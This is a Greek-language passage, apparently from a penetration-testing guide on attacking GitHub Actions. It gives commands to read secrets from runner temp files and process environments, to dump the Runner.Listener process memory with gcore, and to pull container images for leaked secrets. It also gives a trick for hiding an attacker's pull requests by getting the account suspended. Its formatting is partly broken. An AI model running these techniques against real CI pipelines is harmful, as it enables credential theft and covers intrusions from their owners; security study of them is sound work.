  • 螘维谓 蟿慰 渭蠀蟽蟿喂魏蠈 蠂蟻畏蟽喂渭慰蟺慰喂蔚委蟿伪喂 维渭蔚蟽伪 蟽蔚 渭喂伪 苇魏蠁蟻伪蟽畏, 蟿慰 未畏渭喂慰蠀蟻纬畏渭苇谓慰 shell script 伪蟺慰胃畏魏蔚蠉蔚蟿伪喂 蟽蟿慰谓 未委蟽魏慰 魏伪喂 蔚委谓伪喂 蟺蟻慰蟽尾维蟽喂渭慰.

cat /home/runner/work/_temp/*

* 螕喂伪 渭喂伪 蔚谓苇蟻纬蔚喂伪 蟽蔚 JavaScript 蟿伪 渭蠀蟽蟿喂魏维 蟽蟿苇位谓慰谓蟿伪喂 渭苇蟽蠅 渭蔚蟿伪尾位畏蟿蠋谓 蟺蔚蟻喂尾维位位慰谓蟿慰蟼
* ```bash
ps axe | grep node
  • 螕喂伪 渭喂伪 蟺蟻慰蟽伪蟻渭慰蟽渭苇谓畏 蔚谓苇蟻纬蔚喂伪, 慰 魏委谓未蠀谓慰蟼 渭蟺慰蟻蔚委 谓伪 蟺慰喂魏委位蔚喂 伪谓维位慰纬伪 渭蔚 蟿慰 蟺蠋蟼 苇谓伪 蟺蟻蠈纬蟻伪渭渭伪 蠂蟻畏蟽喂渭慰蟺慰喂蔚委 蟿慰 渭蠀蟽蟿喂魏蠈 蟺慰蠀 苇位伪尾蔚 伪蟺蠈 蟿慰 蠈蟻喂蟽渭伪:
uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}

螝伪蟿维蠂蟻畏蟽畏 螜未喂慰魏蟿畏蟿蠋谓 Runners

螣 蟿蟻蠈蟺慰蟼 纬喂伪 谓伪 尾蟻蔚委蟿蔚 蟺慰喂蔚蟼 螘谓苇蟻纬蔚喂蔚蟼 Github 蔚魏蟿蔚位慰蠉谓蟿伪喂 蟽蔚 渭畏-蠀蟺慰未慰渭苇蟼 蟿畏蟼 Github 蔚委谓伪喂 谓伪 伪谓伪味畏蟿萎蟽蔚蟿蔚 蟿慰 runs-on: self-hosted 蟽蟿畏 未喂伪渭蠈蟻蠁蠅蟽畏 yaml 蟿畏蟼 螘谓苇蟻纬蔚喂伪蟼 蟿慰蠀 Github.

螣喂 喂未喂慰魏蟿畏蟿慰委 runners 渭蟺慰蟻蔚委 谓伪 苇蠂慰蠀谓 蟺蟻蠈蟽尾伪蟽畏 蟽蔚 蔚蟺喂蟺位苇慰谓 蔚蠀伪委蟽胃畏蟿蔚蟼 蟺位畏蟻慰蠁慰蟻委蔚蟼, 蟽蔚 维位位伪 未委魏蟿蠀伪 (蔚蠀维位蠅蟿伪 蟽畏渭蔚委伪 蟽蟿慰 未委魏蟿蠀慰; 蠀蟺畏蟻蔚蟽委伪 渭蔚蟿伪未蔚未慰渭苇谓蠅谓;) 萎, 伪魏蠈渭畏 魏喂 伪谓 蔚委谓伪喂 伪蟺慰渭慰谓蠅渭苇谓慰 魏伪喂 魏伪蟿伪蟽蟿蟻苇蠁蔚蟿伪喂, 蟺蔚蟻喂蟽蟽蠈蟿蔚蟻蔚蟼 伪蟺蠈 渭委伪 蔚谓苇蟻纬蔚喂蔚蟼 渭蟺慰蟻蔚委 谓伪 蔚魏蟿蔚位慰蠉谓蟿伪喂 蟿伪蠀蟿蠈蠂蟻慰谓伪 魏伪喂 畏 魏伪魏蠈尾慰蠀位畏 渭蟺慰蟻蔚委 谓伪 魏位苇蠄蔚喂 蟿伪 渭蠀蟽蟿喂魏维 蟿畏蟼 维位位畏蟼.

危蟿慰蠀蟼 喂未喂慰魏蟿畏蟿慰蠉蟼 runners 蔚委谓伪喂 蔚蟺委蟽畏蟼 未蠀谓伪蟿蠈谓 谓伪 伪蟺慰魏蟿畏胃慰蠉谓 蟿伪 渭蠀蟽蟿喂魏维 伪蟺蠈 蟿畏 未喂蔚蟻纬伪蟽委伪 _Runner.Listener_** 畏 慰蟺慰委伪 胃伪 蟺蔚蟻喂苇蠂蔚喂 蠈位伪 蟿伪 渭蠀蟽蟿喂魏维 蟿蠅谓 蟻慰蠋谓 蔚蟻纬伪蟽委伪蟼 蟽蔚 慰蟺慰喂慰未萎蟺慰蟿蔚 蟽蟿维未喂慰 渭蔚 蟿畏谓 伪蟺蠈蟻蟻喂蠄畏 蟿畏蟼 渭谓萎渭畏蟼 蟿畏蟼:

{% code overflow="wrap" %}

sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"

{% endcode %}

螘位苇纬尉蟿蔚 伪蠀蟿萎谓 蟿畏谓 伪谓维蟻蟿畏蟽畏 纬喂伪 蟺蔚蟻喂蟽蟽蠈蟿蔚蟻蔚蟼 蟺位畏蟻慰蠁慰蟻委蔚蟼.

螝伪蟿伪蠂蠋蟻喂蟽畏 螘喂魏蠈谓蠅谓 Docker 蟿慰蠀 Github

螘委谓伪喂 未蠀谓伪蟿蠈谓 谓伪 未畏渭喂慰蠀蟻纬萎蟽蔚蟿蔚 Github actions 蟺慰蠀 胃伪 魏伪蟿伪蟽魏蔚蠀维味慰蠀谓 魏伪喂 伪蟺慰胃畏魏蔚蠉慰蠀谓 渭喂伪 蔚喂魏蠈谓伪 Docker 渭苇蟽伪 蟽蟿慰 Github.
螆谓伪 蟺伪蟻维未蔚喂纬渭伪 渭蟺慰蟻蔚委 谓伪 尾蟻蔚胃蔚委 蟽蟿慰 蟺伪蟻伪魏维蟿蠅 伪谓伪蟺蟿蠀蟽蟽蠈渭蔚谓慰:

螖畏渭喂慰蠀蟻纬委伪 & 螒蟺慰蟽蟿慰位萎 螘喂魏蠈谓伪蟼 Docker 渭苇蟽蠅 蟿慰蠀 Github Action

```yaml [...]

  • name: Set up Docker Buildx uses: docker/setup-buildx-action@v1
  • name: Login to GitHub Container Registry uses: docker/login-action@v1 with: registry: ghcr.io username: ${{ github.repository_owner }} password: ${{ secrets.ACTIONS_TOKEN }}
  • name: Add Github Token to Dockerfile to be able to download code run: | sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
  • name: Build and push uses: docker/build-push-action@v2 with: context: . push: true tags: | ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}

[...]

</details>

螌蟺蠅蟼 渭蟺慰蟻蔚委蟿蔚 谓伪 未蔚委蟿蔚 蟽蟿慰谓 蟺蟻慰畏纬慰蠉渭蔚谓慰 魏蠋未喂魏伪, 蟿慰 伪蟺慰胃蔚蟿萎蟻喂慰 蟿慰蠀 Github 蠁喂位慰尉蔚谓蔚委蟿伪喂 蟽蟿慰 **`ghcr.io`**.

螆谓伪蟼 蠂蟻萎蟽蟿畏蟼 渭蔚 未喂魏伪喂蠋渭伪蟿伪 伪谓维纬谓蠅蟽畏蟼 蟽蟿慰 伪蟺慰胃蔚蟿萎蟻喂慰 胃伪 渭蟺慰蟻蔚委 蟽蟿畏 蟽蠀谓苇蠂蔚喂伪 谓伪 魏伪蟿蔚尾维蟽蔚喂 蟿畏谓 蔚喂魏蠈谓伪 Docker 蠂蟻畏蟽喂渭慰蟺慰喂蠋谓蟿伪蟼 苇谓伪 蟺蟻慰蟽蠅蟺喂魏蠈 蟿慰魏蔚谓:
```bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>

危蟿畏 蟽蠀谓苇蠂蔚喂伪, 慰 蠂蟻萎蟽蟿畏蟼 渭蟺慰蟻蔚委 谓伪 伪谓伪味畏蟿萎蟽蔚喂 未喂伪蟻蟻慰苇蟼 渭蠀蟽蟿喂魏蠋谓 蟽蟿伪 蔚蟺委蟺蔚未伪 蟿畏蟼 蔚喂魏蠈谓伪蟼 Docker:

螘蠀伪委蟽胃畏蟿蔚蟼 蟺位畏蟻慰蠁慰蟻委蔚蟼 蟽蟿伪 logs 蟿蠅谓 Github Actions

螒魏蠈渭伪 魏喂 伪谓 蟿慰 Github 蟺蟻慰蟽蟺伪胃蔚委 谓伪 伪谓喂蠂谓蔚蠉蟽蔚喂 渭蠀蟽蟿喂魏苇蟼 蟿喂渭苇蟼 蟽蟿伪 logs 蟿蠅谓 actions 魏伪喂 谓伪 伪蟺慰蠁蠉纬蔚喂 谓伪 蟿喂蟼 蔚渭蠁伪谓委蟽蔚喂, 维位位伪 蔚蠀伪委蟽胃畏蟿伪 未蔚未慰渭苇谓伪 蟺慰蠀 胃伪 渭蟺慰蟻慰蠉蟽伪谓 谓伪 苇蠂慰蠀谓 未畏渭喂慰蠀蟻纬畏胃蔚委 魏伪蟿维 蟿畏谓 蔚魏蟿苇位蔚蟽畏 蟿畏蟼 蔚谓苇蟻纬蔚喂伪蟼 未蔚谓 胃伪 魏蟻蠀蠁蟿慰蠉谓. 螕喂伪 蟺伪蟻维未蔚喂纬渭伪, 苇谓伪 JWT 蟺慰蠀 苇蠂蔚喂 蠀蟺慰纬蟻伪蠁蔚委 渭蔚 渭蠀蟽蟿喂魏萎 蟿喂渭萎 未蔚谓 胃伪 魏蟻蠀蠁蟿蔚委 蔚魏蟿蠈蟼 伪谓 蔚委谓伪喂 蟽蠀纬魏蔚魏蟻喂渭苇谓伪 蟻蠀胃渭喂蟽渭苇谓慰.

螝维位蠀蠄畏 蟿蠅谓 委蠂谓蠅谓 蟽伪蟼

(韦蔚蠂谓喂魏萎 伪蟺蠈 蔚未蠋) 螝伪蟿伪蟻蠂维蟼, 慰蟺慰喂伪未萎蟺慰蟿蔚 PR 蟺慰蠀 蠀蟺慰尾维位位蔚蟿伪喂 蔚委谓伪喂 蔚渭蠁伪谓萎蟼 蟽蟿慰 魏慰喂谓蠈 蟽蟿慰 Github 魏伪喂 蟽蟿慰谓 蟽蟿蠈蠂慰 位慰纬伪蟻喂伪蟽渭蠈 蟿慰蠀 GitHub. 危蟿慰 GitHub 伪蟺蠈 蟺蟻慰蔚蟺喂位慰纬萎, 未蔚谓 渭蟺慰蟻慰蠉渭蔚 谓伪 未喂伪纬蟻维蠄慰蠀渭蔚 渭喂伪 PR 伪蟺蠈 蟿慰 未喂伪未委魏蟿蠀慰, 伪位位维 蠀蟺维蟻蠂蔚喂 渭喂伪 蟺伪蟻伪魏伪蟿伪胃萎魏畏. 螕喂伪 位慰纬伪蟻喂伪蟽渭慰蠉蟼 Github 蟺慰蠀 蔚委谓伪喂 伪谓伪蟽蟿伪位渭苇谓慰喂 伪蟺蠈 蟿慰 Github, 蠈位蔚蟼 慰喂 PRs 蟿慰蠀蟼 未喂伪纬蟻维蠁慰谓蟿伪喂 伪蠀蟿蠈渭伪蟿伪 魏伪喂 伪蠁伪喂蟻慰蠉谓蟿伪喂 伪蟺蠈 蟿慰 未喂伪未委魏蟿蠀慰. 螆蟿蟽喂, 纬喂伪 谓伪 魏蟻蠉蠄蔚蟿蔚 蟿畏 未蟻伪蟽蟿畏蟻喂蠈蟿畏蟿维 蟽伪蟼, 蟺蟻苇蟺蔚喂 蔚委蟿蔚 谓伪 伪谓伪蟽蟿蔚委位蔚蟿蔚 蟿慰谓 位慰纬伪蟻喂伪蟽渭蠈 蟽伪蟼 蟽蟿慰 GitHub 蔚委蟿蔚 谓伪 蟿慰谓 蟽畏渭伪未蔚蠉蟽蔚蟿蔚. 螒蠀蟿蠈 胃伪 魏蟻蠉蠄蔚喂 蠈位蔚蟼 蟿喂蟼 未蟻伪蟽蟿畏蟻喂蠈蟿畏蟿苇蟼 蟽伪蟼 蟽蟿慰 GitHub 伪蟺蠈 蟿慰 未喂伪未委魏蟿蠀慰 (尾伪蟽喂魏维 胃伪 伪蠁伪喂蟻苇蟽蔚喂 蠈位蔚蟼 蟿喂蟼 蔚魏渭蔚蟿伪位位蔚蠉蟽蔚喂蟼 蟽伪蟼 PR)

螠喂伪 慰蟻纬维谓蠅蟽畏 蟽蟿慰 GitHub 蔚委谓伪喂 蟺慰位蠉 蟺蟻慰蟽蔚魏蟿喂魏萎 蟽蟿慰 谓伪 伪谓伪蠁苇蟻蔚喂 位慰纬伪蟻喂伪蟽渭慰蠉蟼 蟽蟿慰 GitHub. 韦慰 渭蠈谓慰 蟺慰蠀 蠂蟻蔚喂维味蔚蟿伪喂 谓伪 魏维谓蔚蟿蔚 蔚委谓伪喂 谓伪 渭慰喂蟻伪蟽蟿蔚委蟿蔚 "魏维蟺慰喂伪 蟺蟻维纬渭伪蟿伪" 蟽蟿慰 Issue 魏伪喂 胃伪 尾蔚尾伪喂蠅胃慰蠉谓 蠈蟿喂 慰 位慰纬伪蟻喂伪蟽渭蠈蟼 蟽伪蟼 胃伪 伪谓伪蟽蟿伪位蔚委 蟽蔚 12 蠋蟻蔚蟼 :p 魏伪喂 苇蟿蟽喂 苇蠂蔚蟿蔚 魏维谓蔚喂 蟿畏谓 蔚魏渭蔚蟿维位位蔚蠀蟽萎 蟽伪蟼 伪蠈蟻伪蟿畏 蟽蟿慰 github.

螣 渭蠈谓慰蟼 蟿蟻蠈蟺慰蟼 纬喂伪 渭喂伪 慰蟻纬维谓蠅蟽畏 谓伪 魏伪蟿伪位维尾蔚喂 蠈蟿喂 苇蠂蔚喂 纬委谓蔚喂 蟽蟿蠈蠂慰蟼 蔚委谓伪喂 谓伪 蔚位苇纬尉蔚喂 蟿伪 logs 蟿慰蠀 GitHub 伪蟺蠈 蟿慰 SIEM 伪蠁慰蠉 伪蟺蠈 蟿慰 GitHub UI 畏 PR 胃伪 苇蠂蔚喂 伪蠁伪喂蟻蔚胃蔚委.

螘蟻纬伪位蔚委伪

韦伪 蟺伪蟻伪魏维蟿蠅 蔚蟻纬伪位蔚委伪 蔚委谓伪喂 蠂蟻萎蟽喂渭伪 纬喂伪 蟿畏谓 蔚蠉蟻蔚蟽畏 蟿蠅谓 蟻慰蠋谓 蔚蟻纬伪蟽委伪蟼 蟿蠅谓 Github Actions 魏伪喂 伪魏蠈渭伪 魏伪喂 纬喂伪 蟿畏谓 蔚蠉蟻蔚蟽畏 蔚蠀维位蠅蟿蠅谓: